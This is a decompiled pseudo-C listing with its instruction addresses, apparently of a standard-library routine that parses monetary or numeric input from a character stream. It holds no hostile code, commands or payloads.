											__eflags = _t476 - 0xffffffff;
											if(_t476 == 0xffffffff) {
												_a4 = 0;
											}
											goto L21;
										}
										_t546 = _v104;
										_t529 =  *_t477 & 0x000000ff;
										__eflags =  *((intOrPtr*)(_t537 + _t546)) - ( *_t477 & 0x000000ff);
										if( *((intOrPtr*)(_t537 + _t546)) == ( *_t477 & 0x000000ff)) {
											L23:
											 *(_t522 + 8) =  &(_t477[1]);
											L24:
											_a8 = 0xffffffff;
											_t470 = 0xffffffff;
											_v104 = _v104 + 1;
											continue;
										}
										L96:
										_t448 = _a24;
										 *_t448 =  *_t448 | 0x00000004;
										__eflags =  *_t448;
										L97:
										_v156 =  &_a12;
										_t450 = E00450A90( &_a12,  &_a4, _t529);
										__eflags = _t450;
										if(_t450 != 0) {
											_t452 = _a24;
											 *_t452 =  *_t452 | 0x00000002;
											__eflags =  *_t452;
										}
										_t514 = _v52;
										_t451 = _a4;
										_t530 = _a8;
										__eflags = _t514 -  &_v44;
										if(_t514 !=  &_v44) {
											_v156 = _t514;
											_v100 = _t451;
											_v96 = _t530;
											L004C33F0();
											_t451 = _v100;
											_t530 = _v96;
										}
										_t515 = _v76;
										__eflags = _t515 -  &_v68;
										if(_t515 !=  &_v68) {
											_v156 = _t515;
											_v100 = _t451;
											_v96 = _t530;
											L004C33F0();
											_t451 = _v100;
										}
										return _t451;
									}
								}
								L116:
								__eflags =  *((intOrPtr*)(_t523 + 8)) -  *((intOrPtr*)(_t523 + 0xc));
								if( *((intOrPtr*)(_t523 + 8)) >=  *((intOrPtr*)(_t523 + 0xc))) {
									_t484 =  *((intOrPtr*)( *_t523 + 0x24))();
									__eflags = _t484 - 0xffffffff;
									_t544 = _t544 ^ (_t532 & 0xffffff00 | _t484 == 0xffffffff);
									__eflags = _t484 - 0xffffffff;
									if(_t484 == 0xffffffff) {
										_a12 = 0;
									}
								}
								goto L17;
							}
						}
					}
					_t444 = _t537;
					__eflags = _t444;
					if(_t444 != 0) {
						goto L9;
					}
					L110:
					_v116 = _v116 + 1;
					_t444 =  &_v81 + _v116;
					__eflags =  *_t444 - 4;
					if( *_t444 <= 4) {
						goto L6;
					}
					goto L111;
				}
				L6:
				_t444 =  *_t444 & 0x000000ff;
				switch( *((intOrPtr*)(_t444 * 4 +  &M00535EB8))) {
					case 0:
						_t543 = 1;
						goto L8;
					case 1:
						__esi =  &_a12;
						__ecx =  &_a4;
						__eax = E00450A90(__eax, __ecx, __edx,  &_a12);
						__eflags = __al;
						if(__al == 0) {
							__edx = _a8;
							 &_a4 = E00450B30( &_a4, _a8);
							__esi = _v128;
							__eax = __al & 0x000000ff;
							__edx =  *(_v128 + 0x18);
							__eflags =  *(__edx + __eax * 2) & 0x00000020;
							if(( *(__edx + __eax * 2) & 0x00000020) == 0) {
								goto L68;
							}
							__ecx = _a4;
							__eax = E004A5D20(__ecx);
							_a8 = 0xffffffff;
							__esi = 1;
							L8:
							if(_v116 != 4) {
								L69:
								_t487 = _a8;
								_t525 = _a4;
								while(1) {
									__eflags = _t487 - 0xffffffff;
									_t488 = _t487 & 0xffffff00 | _t487 == 0xffffffff;
									__eflags = _t525;
									_t538 = _t488;
									_t534 = _t538;
									_t490 = (_t488 & 0xffffff00 | _t525 != 0x00000000) & _t534;
									__eflags = _t490;
									_v108 = _t490;
									if(_t490 != 0) {
										_t538 = 0;
										_t490 =  *(_t525 + 0xc);
										__eflags =  *(_t525 + 8) - _t490;
										if( *(_t525 + 8) >= _t490) {
											_t490 =  *((intOrPtr*)( *_t525 + 0x24))();
											__eflags = _t490 - 0xffffffff;
											if(_t490 == 0xffffffff) {
												_a4 = 0;
												_t538 = _v108 & 0x000000ff;
											}
										}
									}
									_t526 = _a12;
									_a16 - 0xffffffff = _t526;
									_t492 = (_t490 & 0xffffff00 | _t526 != 0x00000000) & (_t534 & 0xffffff00 | _a16 == 0xffffffff);
									__eflags = _t492;
									_v108 = _t492;
									if(_t492 != 0) {
										_t529 = 0;
										__eflags =  *((intOrPtr*)(_t526 + 8)) -  *((intOrPtr*)(_t526 + 0xc));
										if( *((intOrPtr*)(_t526 + 8)) >=  *((intOrPtr*)(_t526 + 0xc))) {
											_t501 =  *((intOrPtr*)( *_t526 + 0x24))();
											_t529 = 0;
											__eflags = _t501 - 0xffffffff;
											if(_t501 == 0xffffffff) {
												_a12 = 0;
												_t529 = _v108 & 0x000000ff;
											}
										}
									}
									_t444 = _t538;
									__eflags = _t444 - _t529;
									if(_t444 == _t529) {
										goto L107;
									} else {
										_t494 = _a8;
										_t527 = _a4;
										__eflags = _t494 - 0xffffffff;
										if(_t494 != 0xffffffff) {
											L74:
											_t444 = _t494 & 0x000000ff;
											_t529 =  *(_v128 + 0x18);
											__eflags =  *(_t529 + _t444 * 2) & 0x00000020;
											if(( *(_t529 + _t444 * 2) & 0x00000020) == 0) {
												goto L107;
											}
											_t525 = _a4;
											_t495 =  *(_t525 + 8);
											__eflags = _t495 -  *(_t525 + 0xc);
											if(_t495 >=  *(_t525 + 0xc)) {
												 *((intOrPtr*)( *_t525 + 0x28))();
												_t525 = _a4;
												L77:
												_a8 = 0xffffffff;
												_t487 = 0xffffffff;
												continue;
											}
											L76:
											_t498 =  &(_t495[1]);
											__eflags = _t498;
											 *(_t525 + 8) = _t498;
											goto L77;
										}
										__eflags = _t527;
										if(_t527 != 0) {
											_t495 =  *(_t527 + 8);
											__eflags = _t495 -  *((intOrPtr*)(_t527 + 0xc));
											if(_t495 >=  *((intOrPtr*)(_t527 + 0xc))) {
												_t494 =  *((intOrPtr*)( *_t527 + 0x24))();
												__eflags = _t494 - 0xffffffff;
												if(_t494 == 0xffffffff) {
													_a4 = 0;
												}
												goto L74;
											}
											_t541 =  *_t495 & 0x000000ff;
											_t529 =  *(_v128 + 0x18);
											__eflags =  *(_t529 + _t541 * 2) & 0x00000020;
											if(( *(_t529 + _t541 * 2) & 0x00000020) != 0) {
												goto L76;
											}
											goto L107;
										}
										goto L74;
									}
								}
							}
							goto L9;
						}
						L68:
						__esi = 0;
						__eflags = _v116 - 4;
						if(_v116 == 4) {
							goto L9;
						}
						goto L69;
					case 2:
						__eax = _a20;
						__eflags =  *(__eax + 0xd) & 0x00000002;
						if(( *(__eax + 0xd) & 0x00000002) != 0) {
							L55:
							__eax =  *(__ebx + 0x18);
							__ecx = _a4;
							_v108 = 0;
							_v132 =  *(__ebx + 0x18);
							__eax = _a8;
							while(1) {
								__eflags = __eax - 0xffffffff;
								__eax = __eax & 0xffffff00 | __eax == 0xffffffff;
								__eflags = __ecx;
								__esi = __eax;
								__eax = __eax & 0xffffff00 | __ecx != 0x00000000;
								__edx = __esi;
								__al = __al & __dl;
								__eflags = __al;
								__edi = __eax;
								if(__al != 0) {
									__esi = 0;
									__eax =  *(__ecx + 0xc);
									__eflags =  *(__ecx + 8) - __eax;
									if( *(__ecx + 8) >= __eax) {
										__eax =  *__ecx;
										__eax =  *((intOrPtr*)( *__ecx + 0x24))();
										__eflags = __eax - 0xffffffff;
										if(__eax == 0xffffffff) {
											_a4 = 0;
											__esi = __edi;
										}
									}
								}
								__ecx = _a12;
								__eflags = _a16 - 0xffffffff;
								__eax = __eax & 0xffffff00 | _a16 == 0xffffffff;
								__eflags = __ecx;
								if(__ecx == 0) {
									goto L59;
								}
								__eflags = __al;
								if(__al != 0) {
									__eax =  *(__ecx + 0xc);
									__eflags =  *(__ecx + 8) - __eax;
									if( *(__ecx + 8) >= __eax) {
										__eax =  *__ecx;
										__eax =  *((intOrPtr*)( *__ecx + 0x24))();
										__eflags = __eax - 0xffffffff;
										__esi = __esi ^ __edx;
										__eflags = __eax - 0xffffffff;
										if(__eax == 0xffffffff) {
											_a12 = 0;
										}
									}
									L60:
									__edi = _v132;
									__eflags = _v108 - _v132;
									__edx = __esi;
									__eax = __eax & 0xffffff00 | _v108 - _v132 > 0x00000000;
									__dl = __dl & __al;
									__eflags = __dl;
									__edi = __edx;
									if(__dl == 0) {
										__esi = _v132;
										__eflags = _v108 - _v132;
										if(_v108 != _v132) {
											L145:
											__eax = _v108;
											__eflags = __eax;
											if(__eflags != 0) {
												goto L96;
											}
											__eax = _a20;
											__eax =  *(_a20 + 0xc);
											_v108 = __eax;
											__eax = __eax & 0x00000200;
											__edx = __edx & 0xffffff00 | __eflags == 0x00000000;
											__eax = __eax & 0xffffff00 | __eflags != 0x00000000;
											__esi = __edx;
											__edi = __eax;
											goto L108;
										}
										__esi = 1;
										goto L108;
									}
									__eax = _a8;
									__ecx = _a4;
									__eflags = _a8 - 0xffffffff;
									if(_a8 != 0xffffffff) {
										L63:
										__edx =  *(__ebx + 0x14);
										__esi = _v108;
										__eflags =  *(__edx + __esi) - __al;
										if( *(__edx + __esi) != __al) {
											goto L145;
										}
										__ecx = _a4;
										__eax =  *(__ecx + 8);
										__eflags = __eax -  *(__ecx + 0xc);
										if(__eax >=  *(__ecx + 0xc)) {
											 *__ecx =  *((intOrPtr*)( *__ecx + 0x28))();
											__ecx = _a4;
											L66:
											_a8 = 0xffffffff;
											__eax = 0xffffffff;
											_v108 = _v108 + 1;
											continue;
										}
										L65:
										__eax = __eax + 1;
										__eflags = __eax;
										 *(__ecx + 8) = __eax;
										goto L66;
									}
									__eflags = __ecx;
									if(__ecx != 0) {
										__eax =  *(__ecx + 8);
										__eflags = __eax -  *(__ecx + 0xc);
										if(__eax >=  *(__ecx + 0xc)) {
											__eax =  *__ecx;
											__eax =  *((intOrPtr*)( *__ecx + 0x24))();
											__eflags = __eax - 0xffffffff;
											if(__eax == 0xffffffff) {
												_a4 = 0;
											}
											goto L63;
										}
										__edx =  *(__ebx + 0x14);
										__esi = _v108;
										__edx =  *( *(__ebx + 0x14) + _v108) & 0x000000ff;
										__eflags =  *__eax - __dl;
										if( *__eax == __dl) {
											goto L65;
										}
										goto L145;
									}
									goto L63;
								}
								L59:
								__esi = __esi ^ __eax;
								__eflags = __esi;
								goto L60;
							}
						}
						__ecx = _v116;
						__eflags = _v124 - 1;
						__edx = __edx & 0xffffff00 | __eflags > 0x00000000;
						__ecx = _v116 - 1;
						__eax = __eax & 0xffffff00 | __eflags == 0x00000000;
						__dl = __dl | __al;
						__eflags = __dl;
						__edi = __edx;
						if(__dl != 0) {
							goto L55;
						}
						__eflags = __ecx - 1;
						if(__ecx == 1) {
							__eflags = _v111;
							if(_v111 != 0) {
								goto L55;
							}
							__eflags = _v80 - 3;
							if(_v80 == 3) {
								goto L55;
							}
							__eflags = _v78 - 1;
							if(_v78 != 1) {
								goto L110;
							}
							goto L55;
						}
						__esi = 1;
						__eflags = __ecx - 2;
						if(__ecx != 2) {
							goto L108;
						}
						__eax = _v77 & 0x000000ff;
						__eflags = __al - 4;
						if(__al == 4) {
							goto L55;
						}
						__eflags = __al - 3;
						if(__al != 3) {
							goto L110;
						}
						__eflags = _v111;
						if(_v111 == 0) {
							goto L110;
						}
						goto L55;
					case 3:
						__eax =  *(__ebx + 0x20);
						__eflags = __eax;
						if(__eax != 0) {
							__esi =  &_a12;
							__ecx =  &_a4;
							__edi = __eax;
							__eflags = __al;
							if(__al == 0) {
								__edx = _a8;
								 &_a4 = E00450B30( &_a4, _a8);
								__edx =  *(__ebx + 0x1c);
								__eflags =  *__edx - __al;
								if( *__edx != __al) {
									goto L123;
								}
								__eax =  *(__ebx + 0x20);
								__ecx = _a4;
								_v124 =  *(__ebx + 0x20);
								__eax = E004A5D20(__ecx);
								_a8 = 0xffffffff;
								__esi = 1;
								goto L108;
							}
							L123:
							__eax =  *(__ebx + 0x28);
							__eflags = __eax;
							if(__eax != 0) {
								L129:
								_v156 = __esi;
								__ecx =  &_a4;
								__eax = E00450A90(__eax, __ecx, __edx);
								__esp = __esp - 4;
								__edi = __eax;
								__eflags = __al;
								if(__al == 0) {
									__edx = _a8;
									 &_a4 = E00450B30( &_a4, _a8);
									__edx =  *(__ebx + 0x24);
									__eflags =  *__edx - __al;
									if( *__edx != __al) {
										goto L130;
									}
									__eax =  *(__ebx + 0x28);
									__ecx = _a4;
									_v124 =  *(__ebx + 0x28);
									__eax = E004A5D20(__ecx);
									_a8 = 0xffffffff;
									__esi = 1;
									_v110 = 1;
									goto L108;
								}
								L130:
								__eax =  *(__ebx + 0x20);
								__eflags = __eax;
								if(__eax == 0) {
									L47:
									__edi = _v111 & 0x000000ff;
									__esi = __edi;
									__esi = __edi ^ 0x00000001;
									goto L108;
								}
								__eax =  *(__ebx + 0x28);
								__eflags = __eax;
								if(__eax != 0) {
									goto L47;
								}
								L125:
								__edi = 0;
								__esi = 1;
								_v110 = 1;
								goto L108;
							}
							__edx =  *(__ebx + 0x20);
							__eflags = __edx;
							if(__edx == 0) {
								goto L47;
							}
							goto L125;
						}
						__eax =  *(__ebx + 0x28);
						__esi =  &_a12;
						__eflags = __eax;
						if(__eax != 0) {
							goto L129;
						}
						goto L47;
					case 4:
						__eax = _a8;
						__ecx = _a4;
						while(1) {
							__eflags = __eax - 0xffffffff;
							__eax = __eax & 0xffffff00 | __eax == 0xffffffff;
							__eflags = __ecx;
							__esi = __eax;
							__eax = __eax & 0xffffff00 | __ecx != 0x00000000;
							__edx = __esi;
							__al = __al & __dl;
							__eflags = __al;
							__edi = __eax;
							if(__al != 0) {
								__esi = 0;
								__eax =  *(__ecx + 0xc);
								__eflags =  *(__ecx + 8) - __eax;
								if( *(__ecx + 8) >= __eax) {
									__eax =  *__ecx;
									__eax =  *((intOrPtr*)( *__ecx + 0x24))();
									__eflags = __eax - 0xffffffff;
									if(__eax == 0xffffffff) {
										_a4 = 0;
										__esi = __edi;
									}
								}
							}
							__ecx = _a12;
							__eflags = _a16 - 0xffffffff;
							__edx = __edx & 0xffffff00 | _a16 == 0xffffffff;
							__eflags = __ecx;
							__eax = __eax & 0xffffff00 | __ecx != 0x00000000;
							__al = __al & __dl;
							__eflags = __al;
							__edi = __eax;
							if(__al != 0) {
								__edx = 0;
								__eax =  *(__ecx + 0xc);
								__eflags =  *(__ecx + 8) -  *(__ecx + 0xc);
								if( *(__ecx + 8) >=  *(__ecx + 0xc)) {
									__eax =  *__ecx;
									__eax =  *((intOrPtr*)( *__ecx + 0x24))();
									__edx = 0;
									__eflags = __eax - 0xffffffff;
									if(__eax == 0xffffffff) {
										_a12 = 0;
										__edx = __edi;
									}
								}
							}
							__eax = __esi;
							__eflags = __dl - __al;
							if(__dl == __al) {
								L164:
								__edi = _v48;
								__esi = 1;
								__eflags = __edi;
								if(__edi == 0) {
									goto L96;
								}
								goto L107;
							} else {
								__edi = _a8;
								__ecx = _a4;
								__eflags = __edi - 0xffffffff;
								if(__edi == 0xffffffff) {
									__eflags = __ecx;
									if(__ecx != 0) {
										__eax =  *(__ecx + 8);
										__eflags = __eax -  *(__ecx + 0xc);
										if(__eax >=  *(__ecx + 0xc)) {
											__eax =  *__ecx;
											__eax =  *((intOrPtr*)( *__ecx + 0x24))();
											__edi = __eax;
											__eflags = __eax - 0xffffffff;
											if(__eax == 0xffffffff) {
												_a4 = 0;
												__edi = 0xffffffff;
											}
										} else {
											__edi =  *__eax & 0x000000ff;
										}
									}
								}
								__eax = __edi;
								 *(__esp + 8) = 0xa;
								__eax = __al;
								 *(__esp + 4) = __al;
								__eax = _v104;
								_v156 = _v104;
								__eax = memchr(??, ??, ??);
								__eflags = __eax;
								if(__eax != 0) {
									__edx =  *0x5295a8; // 0x538630
									__eax = __eax - _v120;
									__esi = _v48;
									__eax =  *(__edx + __eax) & 0x000000ff;
									__edx = _v52;
									_t75 = __esi + 1; // 0x1
									__edi = _t75;
									_v108 = __al;
									__eax =  &_v44;
									__eflags = __edx -  &_v44;
									0xf =  !=  ? _v44 : 0xf;
									__eflags = __edi - ( !=  ? _v44 : 0xf);
									if(__edi > ( !=  ? _v44 : 0xf)) {
										 *(__esp + 0xc) = 1;
										__ecx =  &_v52;
										 *(__esp + 8) = 0;
										 *(__esp + 4) = 0;
										_v156 = __esi;
										__eax = E004B26D0( &_v52);
										__esp = __esp - 0x10;
										__edx = _v52;
									}
									__eax = _v108 & 0x000000ff;
									_t80 =  &_v100;
									 *_t80 = _v100 + 1;
									__eflags =  *_t80;
									 *(__edx + __esi) = __al;
									__eax = _v52;
									_v48 = __edi;
									 *((char*)(_v52 + __esi + 1)) = 0;
									L28:
									__ecx = _a4;
									__eax =  *(__ecx + 8);
									__eflags = __eax -  *(__ecx + 0xc);
									if(__eax >=  *(__ecx + 0xc)) {
										L44:
										 *__ecx =  *((intOrPtr*)( *__ecx + 0x28))();
										__ecx = _a4;
										L30:
										_a8 = 0xffffffff;
										__eax = 0xffffffff;
										continue;
									}
									L29:
									__eax = __eax + 1;
									__eflags = __eax;
									 *(__ecx + 8) = __eax;
									goto L30;
								}
								__eax = __edi;
								__eflags =  *((intOrPtr*)(__ebx + 0x11)) - __al;
								__eax = __edi & 0xffffff00 |  *((intOrPtr*)(__ebx + 0x11)) != __al;
								__al = __al | _v109;
								__eflags = __al;
								__esi = __eax;
								if(__al == 0) {
									__eax =  *(__ebx + 0x2c);
									__eflags = __eax;
									if(__eax <= 0) {
										_v109 = 0;
										goto L164;
									}
									__eax = _v100;
									_v109 = 1;
									_v100 = 0;
									_v136 = _v100;
									goto L28;
								}
								__eax =  *(__ebx + 0x10) & 0x000000ff;
								__eflags = __al;
								if(__al == 0) {
									L95:
									__edi = _v48;
									__eflags = __edi;
									if(__edi != 0) {
										L107:
										_t537 = _t543 ^ 0x00000001;
										__eflags = _t537;
										goto L108;
									}
									goto L96;
								}
								__edx = __edi;
								__eflags =  *((intOrPtr*)(__ebx + 0x12)) - __dl;
								if( *((intOrPtr*)(__ebx + 0x12)) != __dl) {
									__esi = __eax;
									goto L95;
								}
								__eflags = _v109;
								if(_v109 != 0) {
									__esi = _v109 & 0x000000ff;
									goto L95;
								}
								__eax = _v100;
								__eflags = __eax;
								if(__eax == 0) {
									__esi = 0;
									goto L95;
								}
								__edx = _v76;
								__esi = _v72;
								_v100 = __al;
								__eax =  &_v68;
								__eflags = __edx -  &_v68;
								__eax = 0xf;
								_t119 = __esi + 1; // 0x1
								__edi = _t119;
								__eax =  !=  ? _v68 : 0xf;
								__eflags = __edi - ( !=  ? _v68 : 0xf);
								if(__edi > ( !=  ? _v68 : 0xf)) {
									 *(__esp + 0xc) = 1;
									__ecx =  &_v76;
									 *(__esp + 8) = 0;
									 *(__esp + 4) = 0;
									_v156 = __esi;
									__eax = E004B26D0( &_v76);
									__esp = __esp - 0x10;
									__edx = _v76;
								}
								__eax = _v100 & 0x000000ff;
								_v100 = 0;
								 *(__edx + __esi) = __al;
								__eax = _v76;
								_v72 = __edi;
								 *((char*)(_v76 + __esi + 1)) = 0;
								__ecx = _a4;
								__eax =  *(__ecx + 8);
								__eflags = __eax -  *(__ecx + 0xc);
								if(__eax <  *(__ecx + 0xc)) {
									goto L29;
								} else {
									goto L44;
								}
							}
						}
				}
			}

0x0045ed3f
0x0045ed42
0x0045ed45
0x0045ed52
0x0045ed5a
0x0045ed65
0x0045ed68
0x0045ed6c
0x0045f877
0x0045f87c
0x0045f87e
0x0045f884
0x0045f88d
0x0045f894
0x0045f89d
0x0045f8a4
0x0045f8a8
0x0045f8af
0x0045f8b6
0x0045f8bd
0x0045f8c4
0x0045f8cb
0x0045f8d2
0x0045f8d9
0x0045f8e0
0x0045f8e7
0x0045f8eb
0x0045f8ee
0x0045f8fc
0x0045f8ff
0x0045f903
0x0045f908
0x0045f90a
0x0045f90a
0x0045ed78
0x0045ed7d
0x0045f463
0x0045f466
0x0045f468
0x0045ed83
0x0045ed83
0x0045ed83
0x0045ed8e
0x0045ed95
0x0045ed98
0x0045ed9c
0x0045ed9e
0x0045eda8
0x0045edad
0x0045edad
0x0045edb0
0x0045edbd
0x0045edc0
0x0045edc7
0x0045edcb
0x0045edd3
0x0045edda
0x0045eddd
0x0045ede3
0x0045ede7
0x0045eded
0x0045edf3
0x0045edfa
0x0045ee04
0x0045ee0b
0x0045ee0f
0x0045f42c
0x0045f42c
0x0045f42e
0x0045f405
0x0045f405
0x0045f409
0x0045ee2f
0x0045ee3a
0x0045f914
0x0045f916
0x00000000
0x00000000
0x0045f91c
0x0045f920
0x00000000
0x00000000
0x00000000
0x0045ee40
0x0045ee44
0x0045f4a0
0x0045ee4a
0x0045ee4a
0x0045ee4a
0x0045ee4d
0x0045ee50
0x0045ee53
0x0045ee60
0x0045ee63
0x0045ee68
0x0045ee6d
0x0045ee6f
0x0045ee71
0x0045ee74
0x0045f590
0x0045f592
0x0045f595
0x0045f598
0x0045f5a0
0x0045f5a3
0x0045f5a6
0x0045f5ac
0x0045f5b3
0x0045f5b3
0x0045f5a6
0x0045f598
0x0045ee7a
0x0045ee81
0x0045ee86
0x0045ee90
0x00000000
0x00000000
0x00000000
0x0045ee92
0x0045ee92
0x0045ee98
0x0045f680
0x0045f683
0x0045f686
0x00000000
0x00000000
0x0045f68c
0x0045f690
0x0045f7b0
0x0045f7b0
0x0045f7bb
0x0045f7c2
0x0045f7c7
0x0045f7ca
0x0045f7cc
0x00000000
0x00000000
0x0045f7d2
0x0045f7d5
0x0045f7d8
0x0045f9ac
0x0045f9ac
0x0045f9af
0x0045f9b2
0x0045f9c4
0x00000000
0x0045f9c4
0x0045f9b4
0x0045f9b6
0x00000000
0x00000000
0x0045f9bc
0x0045f7de
0x0045f7e0
0x0045f7ea
0x0045f7ed
0x0045f7f1
0x0045f7f6
0x0045f7f6
0x0045f696
0x0045f696
0x0045f69a
0x0045f69f
0x0045f6a2
0x0045f6a4
0x0045f6af
0x0045f6b7
0x0045f6bf
0x0045f6c6
0x0045f6cb
0x0045f6cb
0x0045f6a2
0x0045f6d1
0x0045f6d3
0x0045f6d5
0x0045f6e3
0x0045f6e7
0x0045f6ea
0x0045f6ed
0x0045f6f2
0x0045f6f8
0x0045f6ff
0x0045f706
0x0045f709
0x0045f70e
0x0045f710
0x0045f712
0x0045f715
0x0045f715
0x0045f715
0x0045f710
0x0045f718
0x0045f71c
0x0045f72a
0x0045f730
0x0045f733
0x0045f738
0x00000000
0x0045f71e
0x0045f721
0x0045f724
0x00000000
0x00000000
0x00000000
0x0045f724
0x0045eea8
0x0045eea8
0x0045eeab
0x0045eeb0
0x0045eebb
0x0045eec1
0x00000000
0x00000000
0x0045eec7
0x0045eeca
0x0045eed0
0x0045f672
0x0045f675
0x00000000
0x0045f675
0x00000000
0x0045f5c0
0x0045f5c0
0x0045f5c3
0x0045f5c6
0x0045f96a
0x0045f96d
0x0045f970
0x0045f976
0x0045f976
0x00000000
0x0045f970
0x0045f5cc
0x0045f5cf
0x0045f5d2
0x0045f5d5
0x0045eed6
0x0045eed9
0x0045eedc
0x0045eedc
0x0045eee3
0x0045eee8
0x00000000
0x0045eee8
0x0045f371
0x0045f371
0x0045f374
0x0045f374
0x0045f377
0x0045f37d
0x0045f380
0x0045f388
0x0045f38a
0x0045f38c
0x0045f38f
0x0045f38f
0x0045f38f
0x0045f392
0x0045f398
0x0045f39b
0x0045f39e
0x0045f3a0
0x0045f3a2
0x0045f3a5
0x0045f3a8
0x0045f3ab
0x0045f3b0
0x0045f3b3
0x0045f3b3
0x0045f3b6
0x0045f3bc
0x0045f3be
0x0045f3c0
0x0045f3c3
0x0045f3c6
0x0045f3c9
0x0045f3ce
0x0045f3d1
0x0045f3db
0x0045f3db
0x0045eeb0
0x0045f471
0x0045f474
0x0045f477
0x0045f47f
0x0045f482
0x0045f488
0x0045f48a
0x0045f48d
0x0045f493
0x0045f493
0x0045f48d
0x00000000
0x0045f477
0x0045ee60
0x0045ee3a
0x0045f40f
0x0045f411
0x0045f413
0x00000000
0x00000000
0x0045f419
0x0045f419
0x0045f420
0x0045f423
0x0045f426
0x00000000
0x00000000
0x00000000
0x0045f426
0x0045ee15
0x0045ee15
0x0045ee18
0x00000000
0x0045ee20
0x00000000
0x00000000
0x0045f195
0x0045f198
0x0045f19e
0x0045f1a6
0x0045f1a8
0x0045f4b0
0x0045f4b6
0x0045f4bb
0x0045f4be
0x0045f4c1
0x0045f4c4
0x0045f4c8
0x00000000
0x00000000
0x0045f4ce
0x0045f4d1
0x0045f4d6
0x0045f4dd
0x0045ee25
0x0045ee29
0x0045f1ba
0x0045f1ba
0x0045f1bd
0x0045f22d
0x0045f22d
0x0045f230
0x0045f233
0x0045f235
0x0045f23a
0x0045f23c
0x0045f23c
0x0045f23e
0x0045f241
0x0045f247
0x0045f249
0x0045f24c
0x0045f24f
0x0045f257
0x0045f25a
0x0045f25d
0x0045f263
0x0045f26a
0x0045f26a
0x0045f25d
0x0045f24f
0x0045f1c2
0x0045f1cc
0x0045f1d1
0x0045f1d1
0x0045f1d3
0x0045f1d6
0x0045f435
0x0045f43a
0x0045f43d
0x0045f445
0x0045f448
0x0045f44a
0x0045f44d
0x0045f453
0x0045f45a
0x0045f45a
0x0045f44d
0x0045f43d
0x0045f1dc
0x0045f1de
0x0045f1e0
0x00000000
0x0045f1e6
0x0045f1e6
0x0045f1e9
0x0045f1ec
0x0045f1ef
0x0045f1f9
0x0045f1fc
0x0045f1ff
0x0045f202
0x0045f206
0x00000000
0x00000000
0x0045f20c
0x0045f20f
0x0045f212
0x0045f215
0x0045f662
0x0045f665
0x0045f221
0x0045f221
0x0045f228
0x00000000
0x0045f228
0x0045f21b
0x0045f21b
0x0045f21b
0x0045f21e
0x00000000
0x0045f21e
0x0045f1f1
0x0045f1f3
0x0045f3e0
0x0045f3e3
0x0045f3e6
0x0045f950
0x0045f953
0x0045f956
0x0045f95c
0x0045f95c
0x00000000
0x0045f956
0x0045f3ef
0x0045f3f2
0x0045f3f5
0x0045f3f9
0x00000000
0x00000000
0x00000000
0x0045f3f9
0x00000000
0x0045f1f3
0x0045f1e0
0x0045f22d
0x00000000
0x0045ee29
0x0045f1ae
0x0045f1ae
0x0045f1b0
0x0045f1b4
0x00000000
0x00000000
0x00000000
0x00000000
0x0045f0a0
0x0045f0a3
0x0045f0a7
0x0045f0f0
0x0045f0f0
0x0045f0f3
0x0045f0f6
0x0045f0fd
0x0045f100
0x0045f103
0x0045f103
0x0045f106
0x0045f109
0x0045f10b
0x0045f10d
0x0045f110
0x0045f112
0x0045f112
0x0045f114
0x0045f116
0x0045f5e0
0x0045f5e2
0x0045f5e5
0x0045f5e8
0x0045f5ee
0x0045f5f0
0x0045f5f3
0x0045f5f6
0x0045f5fc
0x0045f603
0x0045f603
0x0045f5f6
0x0045f5e8
0x0045f11c
0x0045f11f
0x0045f123
0x0045f126
0x0045f128
0x00000000
0x00000000
0x0045f12a
0x0045f12c
0x0045f530
0x0045f533
0x0045f536
0x0045f53c
0x0045f53e
0x0045f541
0x0045f547
0x0045f549
0x0045f54c
0x0045f552
0x0045f552
0x0045f54c
0x0045f134
0x0045f134
0x0045f137
0x0045f13a
0x0045f13c
0x0045f13f
0x0045f13f
0x0045f141
0x0045f143
0x0045f790
0x0045f793
0x0045f796
0x0045f630
0x0045f630
0x0045f633
0x0045f635
0x00000000
0x00000000
0x0045f63b
0x0045f63e
0x0045f641
0x0045f644
0x0045f649
0x0045f64c
0x0045f64f
0x0045f651
0x00000000
0x0045f651
0x0045f79c
0x00000000
0x0045f79c
0x0045f149
0x0045f14c
0x0045f14f
0x0045f152
0x0045f15c
0x0045f15c
0x0045f15f
0x0045f162
0x0045f165
0x00000000
0x00000000
0x0045f16b
0x0045f16e
0x0045f171
0x0045f174
0x0045f742
0x0045f745
0x0045f180
0x0045f180
0x0045f187
0x0045f18c
0x00000000
0x0045f18c
0x0045f17a
0x0045f17a
0x0045f17a
0x0045f17d
0x00000000
0x0045f17d
0x0045f154
0x0045f156
0x0045f610
0x0045f613
0x0045f616
0x0045f992
0x0045f994
0x0045f997
0x0045f99a
0x0045f9a0
0x0045f9a0
0x00000000
0x0045f99a
0x0045f61c
0x0045f61f
0x0045f622
0x0045f626
0x0045f628
0x00000000
0x00000000
0x00000000
0x0045f628
0x00000000
0x0045f156
0x0045f132
0x0045f132
0x0045f132
0x00000000
0x0045f132
0x0045f103
0x0045f0a9
0x0045f0ac
0x0045f0b0
0x0045f0b3
0x0045f0b6
0x0045f0b9
0x0045f0b9
0x0045f0bb
0x0045f0bd
0x00000000
0x00000000
0x0045f0bf
0x0045f0c2
0x0045f92b
0x0045f92f
0x00000000
0x00000000
0x0045f935
0x0045f939
0x00000000
0x00000000
0x0045f93f
0x0045f943
0x00000000
0x00000000
0x00000000
0x0045f949
0x0045f0c8
0x0045f0cd
0x0045f0d0
0x00000000
0x00000000
0x0045f0d6
0x0045f0da
0x0045f0dc
0x00000000
0x00000000
0x0045f0de
0x0045f0e0
0x00000000
0x00000000
0x0045f0e6
0x0045f0ea
0x00000000
0x00000000
0x00000000
0x00000000
0x0045f070
0x0045f073
0x0045f075
0x0045f4f0
0x0045f4f3
0x0045f501
0x0045f503
0x0045f505
0x0045f7fe
0x0045f804
0x0045f809
0x0045f80c
0x0045f80e
0x00000000
0x00000000
0x0045f814
0x0045f817
0x0045f81a
0x0045f81d
0x0045f822
0x0045f829
0x00000000
0x0045f829
0x0045f50b
0x0045f50b
0x0045f50e
0x0045f510
0x0045f560
0x0045f560
0x0045f563
0x0045f566
0x0045f56b
0x0045f56e
0x0045f570
0x0045f572
0x0045f833
0x0045f839
0x0045f83e
0x0045f841
0x0045f843
0x00000000
0x00000000
0x0045f849
0x0045f84c
0x0045f84f
0x0045f852
0x0045f857
0x0045f85e
0x0045f863
0x00000000
0x0045f863
0x0045f578
0x0045f578
0x0045f57b
0x0045f57d
0x0045f089
0x0045f089
0x0045f08d
0x0045f08f
0x00000000
0x0045f08f
0x0045f583
0x0045f586
0x0045f588
0x00000000
0x00000000
0x0045f51d
0x0045f51d
0x0045f51f
0x0045f524
0x00000000
0x0045f524
0x0045f512
0x0045f515
